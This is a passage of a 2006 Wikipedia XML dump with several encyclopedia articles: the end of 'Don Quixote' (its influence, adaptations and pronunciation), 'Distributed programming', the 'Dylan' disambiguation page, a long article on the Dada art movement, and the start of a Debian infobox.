Influences for ''Don Quixote'' include the Valencian novel ''[[Tirant lo Blanc]]'', one of the first chivalric epics, which Cervantes describes in Chapter VI of ''Quixote'' as &quot;the best book in the world.&quot;
The scene of the book burning gives us an excellent list of Cervantes's likes and dislikes about literature.
[[image:Dalí_DonQuijotesentado.JPG|250px|right|thumb|Don Quixote by [[Salvador Dalí]].]]
The novel's landmark status in literary history has afforded it a vast and nearly innumerable legacy of influence. To just enumerate a few examples:

*''[[Cardenio]]'', a lost play by Cervantes's contemporary [[William Shakespeare]]. Itself the source of later plays, it is based on one of the interpolated novels in the first part.
*''[[A Confederacy of Dunces]]'' by [[John Kennedy Toole]].  The main character, Ignatius, is considered a modern-day Quixote.
*''[[Joseph Andrews]]'' by [[Henry Fielding]] notes in the preface that it is &quot;written in Imitation of the Manner of Cervantes, Author of Don Quixote&quot;
*''[[Madame Bovary]]'' by [[Gustave Flaubert]] is often attributed as a retelling of Don Quixote
*''[[The Odyssey: A Modern Sequel]]'' by [[Nikos Kazantzakis]] includes a character called Kapetan Enas whose alias is Don Quixote
*&quot;[[Pierre Menard (fictional character)|Pierre Menard, Author of the Quixote]]&quot; by [[Jorge Luis Borges]] is an essay about a (fictional) 20th century writer who re-authors ''Don Quixote''. &quot;The text of Cervantes and that of Menard are verbally identical, but the second is almost infinitely richer.&quot; Borges' story is also well known as a central metaphor in [[John Barth|John Barth's]] famous essay &quot;[[The Literature of Exhaustion]]&quot;
*''[[The Life and Opinions of Tristram Shandy, Gentleman|Tristram Shandy]]'' by [[Laurence Sterne]] is rife with references, including Parson Yorick's horse, Rocinante
*''[[Monsignor Quixote]]'' by [[Graham Greene]]. Monsignor Quixote is said to be a descendant of Don Quixote.
*''[[Asterix in Spain]]'' by [[Goscinny]] and [[Uderzo]]. Asterix and Obelix encounter Don Quixote and Sancho Panza on a country road in Spain, with Quixote becoming enraged and charging off into the distance when the topic of windmills arises in conversation.
*''[[City of Glass]]'', one of the stories in ''[[The New York Trilogy]]'' written by [[Paul Auster]], has a main character called Daniel Quinn - the same initials as Don Quixote - and comments on the authorship of the novel.

== Literature ==

* José Ángel Ascunce Arrieta: &quot;Los quijotes del Quijote&quot;: Historia de una aventura creativa. Kassel, Edition Reichenberger 1997. ISBN 3-931887-14-6 
* José Ángel Ascunce Arrieta: &quot;El Quijote como tragedia y la tragedia de don Quijote&quot;. Kassel, Edition Reichenberger 2005. ISBN 3-937734-00-4 
* Cervantes y su mundo I. V.V.A.A., Kassel, Edition Reichenberger 2004. ISBN 3-935004-89-3 
* Cervantes y su mundo II. V.V.A.A., Kassel, Edition Reichenberger 2005. ISBN 3-935004-91-0 
* Cervantes y su mundo III. V.V.A.A., Kassel, Edition Reichenberger 2005. ISBN 3-937734-10-4 
* Agapita Jurado Santos: &quot;Obras teatrales derivadas de novelas cervantinas (siglo XVII)&quot;. Para una bibliografía. Kassel, Edition Reichenberger 2005. ISBN 3-935004-95-8 
* James A.Parr: &quot;Cervantes and the Quixote: A Touchstone for Literary Criticism&quot;. Kassel, Edition Reichenberger 2005. ISBN 3-937734-21-X 
* Reichenberger: &quot;Cervantes and the Hermeneutics of Satire&quot;. Kassel, Edition Reichenberger 2005. ISBN 3-937734-11-2
* Kurt Reichenberger: &quot;Cervantes, un gran satírico?&quot; Los enigmas del Quijote descifrados para el carísimo lector. Kassel, Edition Reichenberger 2005. ISBN 3-937734-12-0 
* Kurt &amp; Theo Reichenberger: &quot;Cervantes: El Quijote y sus mensajes destinados al lector&quot;. Kassel, Edition Reichenberger 2004. ISBN 3-937734-05-8 
* Karl-Ludwig Selig: &quot;Studies on Cervantes&quot;. Kassel, Edition Reichenberger 1995. ISBN 3-928264-64-9 
* Krzysztof Sliwa: &quot;Vida de Miguel Cervantes Saavedra&quot;. Kassel, Edition Reichenberger 2005. ISBN 3-937734-13-9 
* V.V.A.A., Cervantes. Estudios sobre Cervantes en la víspera de su centenario. Kassel, Edition Reichenberger 1994. ISBN 3-928064-64-9
* Dominique Aubier, ''Don Quichotte, le prodigieux secours du messie'', editions M.L.L. 1997 ISBN 2-9508391-2-6
* Dominique Aubier, ''Don Quichotte, le révélation du code de la Bible''; editions M.L.L. 1999, ISBN 2-9508391-4-2
* Dominique Aubier, ''Don Quichotte, Prophète d'Israel'', éd. Robert Laffont, 1968, Paris
* Dominique Aubier, ''Don Quijote, Profeta y Cabalista'', ed. Obelisco, ISBN 84-300-4527-9
* Dominique Aubier, ''Don Quichotte, la réaffirmation messianique du Coran'' editions M.L.L. 2001 ISBN 2-9508391-8-5

==Films and iconography== 
[[Image:Plisecka.jpg|thumb|275px|[[Maya Plisetskaya]] in the ballet ''Don Quixote''.]]

Several films are based on the story of Don Quixote, including:
* ''Don Quixote'' ([[1933]]), directed by [[Georg Wilhelm Pabst]]
* ''[[Дон Кихот]]'' ([[1957]]), a Soviet production by [[Grigori Kozintsev]]
* ''[[Man of La Mancha]]'' ([[1972]]), directed by [[Arthur Hiller]] (also a stage musical by [[Dale Wasserman]])
* ''El Quijote de Miguel de Cervantes'' ([[1991]]), a [[television]] [[miniseries]] directed by Manuel Gutiérrez Aragón
* ''Don Quixote'', begun by [[Orson Welles]] but never finished; a reshaped version by [[Jesus Franco]] was released in ([[1992]])
* ''Don Quixote'' ([[2000]]), directed by Peter Yates
* ''[[Lost in La Mancha]]'' ([[2002]]) is a documentary movie about [[Terry Gilliam]]'s failed attempt to make a movie adaptation of Don Quixote.
The movie &quot;Kissing a Fool,&quot; starring David Schwimmer, is based on a story from Don Quixote.
[[Hanna-Barbera]] released a short-lived children's cartoon based on the story called ''[[Don Coyote and Sancho Panda]]''.  Other than the [[anthropomorphic]] main characters, the other roles' species have not been changed, and use the original names.

Don Quixote inspired a large number of illustrators, painters and draughtsmen such as [[Gustave Doré]], [[Pablo Picasso]], [[Salvador Dali]] and [[Antonio de La Gandara]].

In Bolivia, Don Quixote became a symbol for justice in a series of paintings by the muralist, [[Walter Solón Romero]]. These were painted during many years of dictatorships that led to Solón´s arrest and torture.

==Opera, music and ballet==
''Don Quichotte'', opera by [[Jules Massenet]], premiered at Monte Carlo Opera on February 24, 1910. In the title role at the first performance was the legendary Russian bass [[Feodor Chaliapin]], for whom the part was written.

There is also [[Master Peter's Puppet Show]], an opera by [[Manuel de Falla]] based on an episode from Book II. Also based on an episode from the novel is ''Die Hochzeit des Camacho'', an early opera by [[Felix Mendelssohn]].

[[Richard Strauss]] composed the tone poem ''Don Quixote'', subtitling it &quot;Introduction, Theme with Variations, and Finale&quot; and 'Fantastic Variations for Large Orchestra on a Theme of Knightly Character.'  The music is full of musical tics, pops, and other random sounds symbolizing Don Quixote's insanity, and they increase in volume and frequency as the music develops.

[[Georg Philipp Telemann]] wrote an orchestral [[suite]] entitled &quot;Burlesque Don Quixotte&quot;.

In [[1972]] [[Canada|Canadian]] singer-songwriter [[Gordon Lightfoot]] released an album entitled ''[[Don Quixote (album)|Don Quixote]]''. The album's title track was a [[Folk music|folk song]] based around the character of Don Quixote.

[[1869]] saw the [[Bolshoi Ballet]]'s premiere of [[Marius Petipa]]'s [[ballet]] ''Don Quixote'', set to music by [[Léon Minkus]]. This was substantially revised by [[Alexander Gorsky]] in [[1900]], and revisited by several other choreographers in the course of the twentieth century. In 1972, [[Rudolf Nureyev]] and [[Robert Helpmann|Sir Robert Helpmann]] filmed another version of this ballet over 25 days in 40 degree heat, in Melbourne's Essendon airport hangar, which is considered one of Australia's greatest artistic achievements. The choreography was credited to Nureyev, but based closely on Petipa's.

[[George Balanchine]] created another ''Don Quixote'' ballet in 1965, to music by [[Nicolas Nabokov]]. This was dedicated to the dancer [[Suzanne Farrell]], whom he played opposite in the original production. In [[2005]] [[The Suzanne Farrell Ballet]] and [[The National Ballet of Canada]] co-produced a restaging of this ballet, the first in 25 years.

In Puerto Rico, Destileria Serralles' most famous rum is called Don Q, and the logo is a sideview of Don Quixote on horseback.

Israeli transexual pop star, and winner of the 1998 [[Eurovision Song Contest]], [[Dana International]] recorded a song entitled Don Quixote [Hebrew: דון ק'חוטי].

==Spelling and pronunciation==

''Quixote'' is the original spelling in mediaeval Castilian, and is used in [[English language|English]].  However, modern Spanish has since gone through [[spelling reform]]s and [[phonetics|phonetic changes]] which have turned the ''x'' into ''j''.

The ''x'' was pronounced like an English ''sh'' sound ([[voiceless postalveolar fricative]]) in mediaeval times&amp;mdash;{{IPA|/kiˈʃote/}} in the [[International Phonetic Alphabet]]&amp;mdash;and this is reflected in the French name ''Don Quichotte''. However, such words (now virtually all spelt with a ''j'') are now pronounced as a [[voiceless velar fricative]] sound like the [[Scots language|Scottish]] or [[German language|German]] ''ch'' (as in ''Loch'', ''Bach'') or the [[Greek language|Greek]] Chi (χ)&amp;mdash;{{IPA|/kiˈxote/}}. English speakers generally attempt something close to the modern Spanish pronunciation when saying ''Quixote''/''Quijote'', although more Anglicized pronunciations of &quot;Don Quixote&quot; often sound more like &quot;Donkey Hotey&quot; or &quot;Don Quicks Oat&quot; or even &quot;Donk Quitz Olt&quot;.

==400th anniversary==
[[Image:Spanish commemorative euro coin 2005.jpg|right|100px|frame|[[Spain]]'s coin commemorating the 400th anniversary of the publication of Don Quixote]]
The book's 400th anniversary was celebrated around the world in 2005. Spain issued a commemorative €2 coin. In [[Venezuela]], President [[Hugo Chávez]]'s government handed out 1 million free copies as part of a national literacy program [http://books.guardian.co.uk/news/articles/0,6109,1464835,00.html]. In the [[UK]], [[BBC Radio]] ran during two weeks a ten part serialisation of an adaptation of the work. (There had previously been a 2-part, 3-hour BBC Radio adaptation in [[1980]]). &lt;!-- [http://www.bbc.co.uk/worldservice/programmes/masterpiece.shtml] [http://www.bbc.co.uk/worldservice/programmes/off_the_shelf.shtml]--&gt;  In late 2005, [[Peru]] presented  at a book fair in Guadalajara a version of Don Quixote translated into the [[Quechua]] language.

==See also==
* [[Belianis]]
* [[List of characters in Don Quixote]]
* [[3552 Don Quixote|Asteroid 3552 Don Quixote]], named after the character

==External links==
{{wikisource}}{{Wikiquote}}{{commons|Don_Quixote}}
*{{gutenberg|no=996|name=Don Quixote by Miguel de Cervantes Saavedra}}
*[http://www.planetalibro.com.ar/ebooks/eam/ebook_view.php?ebooks_books_id=25 El ingenioso hidalgo Don Quijote de la Mancha (spanish ebook)]
*[[Project Gutenberg]] e-texts of ''[http://digital.library.upenn.edu/webbin/book/search?amode=start&amp;author=Cervantes+Saavedra%2c+Miguel+de]''
*[http://www.elmundo.es/quijote Spanish language newspaper elmundo carries the text in spanish without advertising as a courtesy]
*[http://www.cervantesvirtual.com/FichaObra.html?portal=40&amp;Ref=1270&amp;audio=1 Spanish language audio of entire book]
*[http://www.donquijotedelamancha2005.com Official Don Quixote Quatercentenary site]
*[http://www.bookrags.com/notes/dq/ Notes on the novel]
*[http://www.donquijote.org/vmuseum/ Don Quixote] Virtual Museum of Don Quixote
*[http://www.stefanmart.de/thumbs/12e_quixote.htm 28 Illustrations of Don Quijote by Stefan Mart (1933)]
*[http://www.400Windmills.com 400 Windmills] Weblog Devoted to Discussing Don Quixote
*[http://www.h-net.org/~cervantes/csa/artics04/mcgaha.pdf ''Is There a Hidden Jewish Meaning in Don Quixote?''] by Michael McGaha (Pomona College, Californie)
*[http://dominique-aubier.org/france/books/Q1-2.html The secret kabalistical encodings in Don Quijote.(French)]
*[http://dominique-aubier.org/france/books/KAB.html The secret encodings in Don Quijote. Don Quijote como projeta y cabalista (spanish)]
* [http://www.dominique-aubier.org/france/books/KAB.html ''El secreto de Don Quijote'' spanish film, english subtitles]
* Coloquio Cervantes http://www.ou.edu/cervantes/coloquiocervantes.html
*[http://www.fut.es/~apym/on-line/pymquixote.pdf ''The Translator as Author: Two English Quijotes''], by Anthony Pym, Intercultural Studies Group, Universitat Rovira i Virgili, Tarragona, Spain.
*See also [[Miguel de Cervantes]].

[[Category:1605 books]]
[[Category:Don Quixote|Don Quixote]]
[[Category:Satirical books]]
[[Category:Novels]]
[[Category:Fictional knights]]

{{Link FA|es}}

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[[gl:El ingenioso hidalgo Don Quijote de la Mancha]]
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[[is:Don Kíkóti]]
[[it:Don Chisciotte della Mancia]]
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[[ja:ドン・キホーテ]]
[[no:Don Quijote]]
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[[pt:Don Quixote de la Mancha]]
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[[simple:Don Quixote]]
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[[tr:Don Kişot (kitap)]]
[[zh:堂吉诃德]]</text>
    </revision>
  </page>
  <page>
    <title>Distributed programming</title>
    <id>8238</id>
    <revision>
      <id>42072893</id>
      <timestamp>2006-03-03T17:10:09Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot-assisted fix of link to disambiguation page Transparency ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">'''Distributed programming''' is a [[programming paradigm]] focusing on [[design]]ing [[Distributed computing|distributed]], [[Distributed computing#openness|open]], [[scalable]], [[Transparency (computing)|transparent]], [[fault tolerant]] systems. This paradigm is a natural result of the use of computers to form networks.

Nearly any [[programming language]] that has access to the full [[hardware]] of the system could handle distributed programming given enough time and code. [[Remote procedure call]]s distribute [[operating system]] commands over a network connection. Systems like [[CORBA]], Microsoft [[DCOM |D/COM]], [[Java RMI]] and others, try to map [[object oriented]] design to the network. Loosely coupled systems that communicate through intermediate documents that are typically human readable are [[XML]], [[HTML]], [[SGML]], [[X.500]], and [[EDI]].

Distributed programming typically falls into one of several basic architectures or categories: [[Client-server]], [[Three-tier (computing)|3-tier architecture]], [[Multitier architecture|N-tier architecture]], [[Distributed object]]s, [[Loosely Coupled|Loosely coupled]], or [[Computer cluster|Tightly coupled]].

Distributed programming interrelates tightly with [[concurrent programming]] so much that they are sometimes not taught as distinct subjects [http://www.cs.technion.ac.il/~cs236370/main.html].

Languages specifically tailored for distributed programming are:
*[[Oz programming language]]
*[[E programming language]]
*[[Ada programming language]]

==See also==
*[[:Category:Concurrent programming languages]]

==External links==
*[http://www.mozart-oz.org/mogul/info/category/dp.html MOGUL Oz Distributed Programming]

{{Major programming languages small}}

[[Category:Programming paradigms]]

[[de:Verteiltes System]]</text>
    </revision>
  </page>
  <page>
    <title>Dylan</title>
    <id>8239</id>
    <revision>
      <id>41092162</id>
      <timestamp>2006-02-25T00:14:46Z</timestamp>
      <contributor>
        <username>Lion King</username>
        <id>484194</id>
      </contributor>
      <comment>/* People with the surname Dylan: */</comment>
      <text xml:space="preserve">The name '''Dylan''' is a [[Welsh language|Welsh]] name, from the Welsh elements dy &quot;great&quot; and llanw &quot;sea&quot;. A [[given name]] in [[Wales]], where the first syllable is pronounced closer to &quot;dull&quot; than to &quot;dill&quot; ([[IPA]]: /ə/), it is now also a [[family name|surname]] in other parts of the world.

===People with the surname Dylan:===
*[[Bob Dylan]], a composer and performer of [[popular music]] and [[folk music]]. An assumed [[legal]] [[surname]], August 1962. Robert Dylan. 
*[[Sara Dylan]], first wife of Bob Dylan. 
*[[Jesse Dylan]], film director. Eldest son of Bob and Sara Dylan.
*[[Jakob Dylan]], lead singer of [[The Wallflowers]]. Youngest son of Bob and Sara Dylan.

===People with the first (given) name Dylan:===
* [[Dylan Thomas]], an Anglo-Welsh [[poet]].
* [[Dylan McDermott]], an [[United States|American]] [[actor]]
* [[Eric Harris and Dylan Klebold|Dylan Klebold]], one of the perpetrators of the [[Columbine High School massacre]]
* [[Dylan Moran]], an [[Ireland|Irish]] [[comedian]]
* [[Dylan Hunt]], several [[science fiction]] characters
* [[Dylan Carlson]], frontman of drone-rock band Earth [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:1wfqoayabijm].
* [[Dylan Evans]], Flash cartoonist [http://www.silvermile.tk].

===Dylan can also refer to:===
* [[Dylan programming language|Dylan]], computer programming language
* Dylan McKay, played by actor [[Luke Perry]], a character in the popular tv show [[Beverly Hills 90210]]
* Dylan the rabbit, a character in the television programme ''[[The Magic Roundabout]]''.- named after [[Bob Dylan]]
* [[Dylan Eil Ton]], a sea-god in [[Celtic mythology]].
* [[Dylan (play)]], a theatre play.
* [[Dylan Dog]], a comic book character
* [[Dylan (album)|''Dylan'' (album)]], an album by [[Bob Dylan]], released in [[1973 in music|1973]]
* [[Bob Dylan (album)|''Bob Dylan'' (album)]], an album by [[Bob Dylan]], released in [[1962 in music|1962]]
* [[Dylan (drum and bass)|Dylan]], a [[drum and bass]] artist.
* [[Dylan Rush (patriot)|Dylan Rush]], an American philosopher and patriot.

{{disambig}}

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    <title>Dada</title>
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      <text xml:space="preserve">[[Image:Dada1.jpg|thumb|right|250px|Cover of the first edition of the publication, ''Dada''. Edited by [[Tristan Tzara]]. Zürich, 1917.]]

'''Dada''' or '''Dadaism''' is a [[cultural movement]] that began in neutral [[Zürich, Switzerland]] during [[World War I]] and peaked from [[1916]] to [[1920]]. The movement primarily involved [[Visual arts|visual art]]s, literature (mainly [[poetry]]), [[theatre]], and [[graphic design]], and was characterized by [[nihilism]], deliberate irrationality, disillusionment, [[cynicism]], chance, randomness, and the rejection of the prevailing standards in art.

==Overview==
Dada activities included public gatherings, demonstrations, and publication of art/literary journals. Passionate coverage of art, politics and culture filled their publications. The movement was a protest against the [[Barbarism|barbarism]] of World War I, the [[bourgeoisie|bourgeois]] interests that Dada adherents believed inspired the war, and what they believed was an oppressive intellectual rigidity in both art and everyday society. The movement influenced later styles, movements and groups including [[surrealism]], [[Pop Art]] and [[Fluxus]]. Dada was an international movement, and it is difficult to classify artists as being from one country or another, as they were constantly moving from one place to another.

==What is Dada?==

According to its proponents, Dada was not [[art]]&amp;mdash;it was &quot;anti-art&quot;. For everything that art stood for, Dada was to represent the opposite. Where art was concerned with [[aesthetics]], Dada ignored aesthetics. If art were to have at least an implicit or latent message, Dada strove to have no meaning &amp;mdash; interpretation of Dada is dependent entirely on the viewer. If art is to appeal to sensibilities, Dada is to offend. It is perhaps then ironic that Dada became an influential movement in modern art. Dada became a commentary on order and carnage they believed it reaped. Through this rejection of traditional culture and aesthetics they hoped to destroy traditional culture and aesthetics.

According to [[Tristan Tzara]], &quot;God and my toothbrush are Dada, and New Yorkers can be Dada too, if they are not already.&quot; A reviewer from the ''American Art News'' stated that &quot;The Dada philosophy is the sickest, most paralyzing and most destructive thing that has ever originated from the brain of man.&quot; Art historians have described Dada as being &quot;in reaction to what many of the artists saw as nothing more than an insane spectacle of collective homicide.&quot; Years later, Dada artists described the movement as &quot;a phenomenon bursting forth in the midst of the post-war economic and moral crisis, a savior, a monster, which would lay waste to everything in its path. [It was] a systematic work of destruction and demoralization...In the end it became nothing but an act of sacrilege.&quot; Dada was &quot;a revolt against a world that was capable of unspeakable horrors.&quot; Reason and logic had led people into the horrors of war; the only route to salvation was to reject logic and embrace anarchy and the irrational.

==History==
===Zürich===
In 1916, [[Hugo Ball]], [[Emmy Hennings]], [[Tristan Tzara]], [[Hans Arp]], [[Richard Huelsenbeck]], [[Sophie Taeuber-Arp|Sophie Täuber]]&amp;mdash;all living in exile in Zürich&amp;mdash;along with others discussed art and put on performances in the [[Cabaret Voltaire (Zürich)|Cabaret Voltaire]] expressing their disgust with the war and the interests that inspired it. By some accounts Dada coalesced on October 6 at the cabaret.

At the first public soiree at the cabaret on July 14, 1916, Ball recited the first manifesto (see [[wikisource:Dada Manifesto (1916, Hugo Ball)|text]]). Tzara, in 1918, wrote a [[Wikisource:Dada_Manifesto|Dada manifesto]] considered one of the most important of the Dada writings. Other manifestos followed.

[[Marcel Janco]] recalled,
:''We had lost confidence in our culture. Everything had to be demolished. We would begin again after the &quot;[[tabula rasa]]&quot;. At the Cabaret Voltaire we began by shocking common sense, public opinion, education, institutions, museums, good taste, in short, the whole prevailing order.''

A single issue of ''Cabaret Voltaire'' was the first publication to come out of the movement.

After the cabaret closed down, activities moved to a new gallery, and Ball left Europe. Tzara began a relentless campaign to spread Dada ideas. He bombarded French and Italian artists and writers with letters, and soon emerged as the Dada leader and master strategist. The [[Cabaret Voltaire (Zürich)|Cabaret Voltaire]] has by now re-opened, and it's still in the same place in the Niederdorf.

Zürich Dada, with Tzara at the helm, published the art and literature review ''Dada'' beginning in July 1917, with five editions from Zürich and the final two from Paris.

When World War I ended in 1918, most of the Zürich Dadaists returned to their home countries, and some began Dada activities in other cities.

====Origin of the word ''Dada''====
The origin of the name ''Dada'' is unclear. Some believe that it is a nonsensical word. Others maintain that it originates from the [[Romania]]n artists [[Tristan Tzara]] and [[Marcel Janco]]'s frequent use of the words ''da, da'', meaning ''yes, yes'' in the [[Romanian language]]. Others believe that a group of artists assembled in [[Zürich]] in 1916, wanting a name for their new movement, chose it at random by stabbing a [[French language|French]]-[[German language|German]] dictionary with a paper knife, and picking the name that the point landed upon. ''Dada'' in French is a child's word for ''[[hobby-horse]]''. In French the colloquialism, ''c'est mon dada'', means ''it's my hobby''. 

According to the Dada ideal, the movement would not be called ''Dadaism'', much less designated an ''art movement''.

===Berlin===
The groups in [[Germany]] were not as strongly ''anti-art'' as other groups. Their activity and art was more political and social, with corrosive manifestos and propaganda, biting satire, large public demonstrations and overt political activities.

In February 1918, [[Richard Huelsenbeck]] gave his first Dada speech in [[Berlin]], and produced a Dada manifesto later in the year. [[Hannah Höch]] and [[George Grosz]] used Dada to express post-World War I [[Communism|communist]] sympathies. Grosz, together with [[John Heartfield]], developed the technique of [[photomontage]] during this period. The artists published a series of short-lived political journals, and held an International Dada Fair in 1920.

The Berlin group saw much in-fighting; [[Kurt Schwitters]] and others were excluded from the group. Schwitters moved to [[Hanover]] where he developed his individual type of Dada, which he dubbed ''[[Kurt Schwitters|Merz]]''.

The Berlin group published periodicals such as ''Club Dada'', ''Der Dada'', ''Everyman His Own Football ([[Jedermann_sein_eigner_Fussball|Jedermann sein eigner Fussball]])'', and ''Dada Almanach''.

===Cologne===
In [[Cologne]] (Köln), [[Max Ernst]], [[Johannes Theodor Baargeld]] and [[Arp]] launched a controversial Dada exhibition in 1920 which focused on nonsense and anti-bourgeois sentiments.

===New York===
Like Zürich, [[New York]] was a refuge for writers and artists from [[World War I]]. Soon after arriving from France, [[Marcel Duchamp]] and [[Francis Picabia]] met American artist [[Man Ray]] after arriving only days apart in June of 1915. By 1916 the three of them became the center of radical anti-art activities in the United States. American [[Beatrice Wood]], who had been studying in France, soon joined them. Much of their activity centered in [[Alfred Stieglitz]]'s gallery, 291, and the studio of [[Walter Arensberg|Walter and Louise Arensberg]].

The New Yorkers did not label themselves ''Dada,'' nor did they issue manifestos or organize riotous events. However, they issued challenges to art and culture through publications such as ''The Blind Man'', ''Rongwrong'', and ''New York Dada'' in which they criticized the traditionalist basis for ''museum'' art. New York Dada lacked the disillusionment of European Dada. New York Dada was driven by a sense of irony and humor.

During this time Duchamp began exhibiting ''[[readymade]]s'' (found objects) such as a bottle rack, and got involved with the [[Society of Independent Artists]]. In 1917 he submitted his famous ''[[Fountain (Duchamp)|Fountain]]'', a urinal signed R. Mutt, to the Society of Independent Artists show only to have the piece rejected.  First an object of scorn within the arts community, it has since been canonized, ironically, and often considered a watershed work of modern art; the committee presiding over Britain's prestigious [[Turner Prize]] in 2004, for example, called it &quot;the most influential work of modern art.&quot;[http://news.bbc.co.uk/2/hi/entertainment/4059997.stm &quot;Duchamp's urinal tops art survey&quot;]

Picabia's travels tied New York, Zürich and Paris groups together. For seven years he also published the Dada periodical ''391'' in [[Barcelona, Spain|Barcelona]], New York City, Zürich, and Paris from 1917 through 1924.

By 1921, most of the original players moved to Paris where Dada experienced its last major incarnation (see [[Neo-Dada]] for later activity).

===Paris===
The French [[avant-garde]] kept abreast of Dada activities in Zürich with regular communications from [[Tristan Tzara]] (whose pseudonym means &quot;sad in country,&quot; a name chosen to protest the treatment of Jews in his native Romania), who exchanged letters, poems, and magazines with [[Guillaume Apollinaire]], [[André Breton]], [[Max Jacob]], and other French writers, critics and artists. 

Dada in Paris surged in 1920 when many of the originators converged there. Inspired by Tzara, Paris Dada soon issued manifestos, organized demonstrations, staged performances and produced a number of journals (the final two editions of ''Dada'', ''Le Cannibale'', and ''Littérature'' featured Dada in several editions.)

The first introduction of Dada artwork to the Parisian public was at the [[Salon des Indépendants]] in [[1921]]. [[Jean Crotti]] exhibited works associated with Dada including a work entitled, ''Explicatif''  bearing the word ''Tabu''.

===The Netherlands===
In [[The Netherlands]] the Dada movement centered mainly around [[Theo van Doesburg]], most well known for establishing the [[De Stijl]] movement and magazine of the same name. Van Doesburg mainly focused on poetry, and included poems from many well-known Dada writers in ''De Stijl'' such as [[Hugo Ball]], [[Hans Arp]] and [[Kurt Schwitters]]. Van Doesburg became a friend of Schwitters, and together they organized the so-called ''Dutch Dada campaign'' in [[1923]], where Van Doesburg promoted a leaflet about Dada (called ''What is Dada?''), Schwitters read his poems, [[Vilmos Huszàr]] demonstrated a mechanical dancing doll and Van Doesburg's wife, Nelly, played [[avant-garde]] compositions on piano. 

Van Doesburg wrote Dada poetry himself in ''De Stijl'', although under a pseudonym, I.K. Bonset, which was only revealed after his tragic death in [[1931]]. 'Together' with I.K. Bonset, he also published a short-lived Dutch Dada magazine called ''Mécano''.

==Poetry, music and sound==
Not strictly a visual arts or literary movement, Dada influence reached into sound and music. Kurt Schwitters developed what he called ''sound poems'' and composers such as [[Erwin Schulhoff]], [[Hans Heusser]] and [[Albert Savinio]] wrote ''Dada music'', while members of [[Les Six]] collaborated with Dada movement members and their pieces played at Dada gatherings.
In the very first Dada Publication, [[Hugo Ball]] describes a &quot;balalaika orchestra playing delightful folk-songs.&quot;  African music was common at dada gatherings, signaling a return to nature.

==Legacy==
While broad, the movement was unstable. By 1924, Dada was melding into [[surrealism]], and artists had gone on to other ideas and movements, including [[Socialist realism|socialist realism]] and other forms of [[Modernism|modernism]].

By the dawn of [[World War II]], many of the European Dadaists had fled or emigrated to the [[United States]]. Some died in death camps under Hitler, who disliked the kind of [[Degenerate art|radical art]] that Dada represented. The movement became less active as post-World War II optimism led to new movements in art and literature.

In [[1967]], a large Dada retrospective was held in [[Paris, France]].

At the same time that the Zürich Dadaists made noise and spectacle at the [[Cabaret Voltaire (Zürich)|Cabaret Voltaire]], [[Vladimir Lenin]] wrote his revolutionary plans for [[Russia]] in a nearby apartment. He was unappreciative of the artistic revolutionary activity near him. [[Tom Stoppard]] used this coincidence as a premise for his play ''[[Travesties]]'' (1974), which includes Tzara, Lenin, and [[James Joyce]] as characters.

The [[Cabaret Voltaire]] fell into disrepair until it was occupied by a group claiming to be [[neo-Dadaists]], led by [[Mark Divo]], in January to March of [[2002]]. Many of their activities received as much public attention as the original Dada movement. After their eviction the Cabaret Voltaire, Zürich became a museum dedicated to the history of Dada.

Some have seen the [[Synaesthesia events]] as reflecting, or even superseding, dada.

==Early practitioners==
For a more complete list of Dadaists, see [[List of Dadaists]].

* [[Guillaume Apollinaire]] - France
* [[Hans Arp]] - Switzerland, France and Germany
* [[Hugo Ball]] - Switzerland
* [[Johannes Baader]] - Germany
* [[Arthur Cravan]] - United States
* [[Jean Crotti]] - France
* [[Theo van Doesburg]] - The Netherlands
* [[Marcel Duchamp]] - France and United States
* [[George Grosz]] - Germany
* [[Max Ernst]] - Germany
* [[Raoul Hausmann]] - Germany
* [[Emmy Hennings]] - Switzerland
* [[Richard Huelsenbeck]] - Switzerland and Germany
* [[Marcel Janco]] - Switzerland (born in Romania)
* [[Clement Pansaers]] - Belgium
* [[Francis Picabia]] - Switzerland, United States and France
* [[Man Ray]] -  United States and France
* [[Hans Richter (artist)|Hans Richter]] - Germany, Switzerland and United States
* [[Kurt Schwitters]] - Germany
* [[Sophie Taeuber-Arp|Sophie Täuber]] - Switzerland
* [[Tristan Tzara]] - Switzerland and France (born in Romania)
* [[Beatrice Wood]] - United States and France

==See also==
* [[Wikisource:Dada Manifesto (1916, Hugo Ball)|Text of Hugo Ball's 1916 ''Dada Manifesto'']]
* [[Wikisource:Dada Manifesto (1918, Tristan Tzara)|Text of Tristan Tzara's 1918 ''Dada Manifesto'']]
* [[expressionism (film)|Expressionism in film]] is seen as having its beginnings in Dada.
* [[futurism (art)|Futurism]] positivistic predecessor to Dada.
* [[List of dadaistic pieces|List of Dada pieces]]
* [[Modernism]]
* [[Surrealism]], emerged from Dada.

==External links==
* [http://www.english.upenn.edu/~jenglish/English104/tzara.html Excerpts of Tristan Tzara's ''Dada Manifesto'' (1918) and ''Lecture on Dada'' (1922)]
* [http://www.ralphmag.org/AR/dada.html ''Dada Manifesto'' (1921)]
* The [http://www.lib.uiowa.edu/dada/index.html International Dada Archive] includes scans of many Dada publications.
* [http://www.391.org 391.org] Contemporary Dada magazine and network continuing Francis Picabia's publication 391
* [http://www.nwlink.com/~phoenix/dada-manifesto-2001.htm Dada Manifesto 2001]
* [http://www.peak.org/~dadaist/ Dada Online]
** [http://www.peak.org/~dadaist/Art/index.html Dada art] (Dada Online) includes images showing the characteristics of Dada.
* [http://trace.ntu.ac.uk/Process/index.cfm?article=89 Dada2Data] Short essay looking at Dada in digital art

==References==
*[http://www.nga.gov/exhibitions/dadainfo.shtm National Gallery of Art, Dada]
* Richard Huelsenbeck, ''Memoirs of a Dada Drummer'', (University of California Press) &lt;!--which UCal?--&gt; (paperback)
* Irene Hoffman, [http://www.artic.edu/reynolds/essays/hofmann.php ''Documents of Dada and Surrealism: Dada and Surrealist Journals in the Mary Reynolds Collection''], Ryerson and Burnham Libraries, The Art Institute of Chicago.

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      <comment>It says GNU/Linux on the front page of debian.org.</comment>
      <text xml:space="preserve">{{Infobox_OS|
 name = Debian
|logo = [[Image:Openlogo-nd-100.png|108px|The Debian logo is a red swirl.]]
|screenshot = |
|caption = |
|developer = Debian Project
|family = [[Linux]]
|source_model = [[Free Software]] (similar to [[Open source]])
|latest_release_version = 3.1 r1 ''alias'' sarge
|latest_release_date = [[December 20]], [[2005]]
|working_state = Current
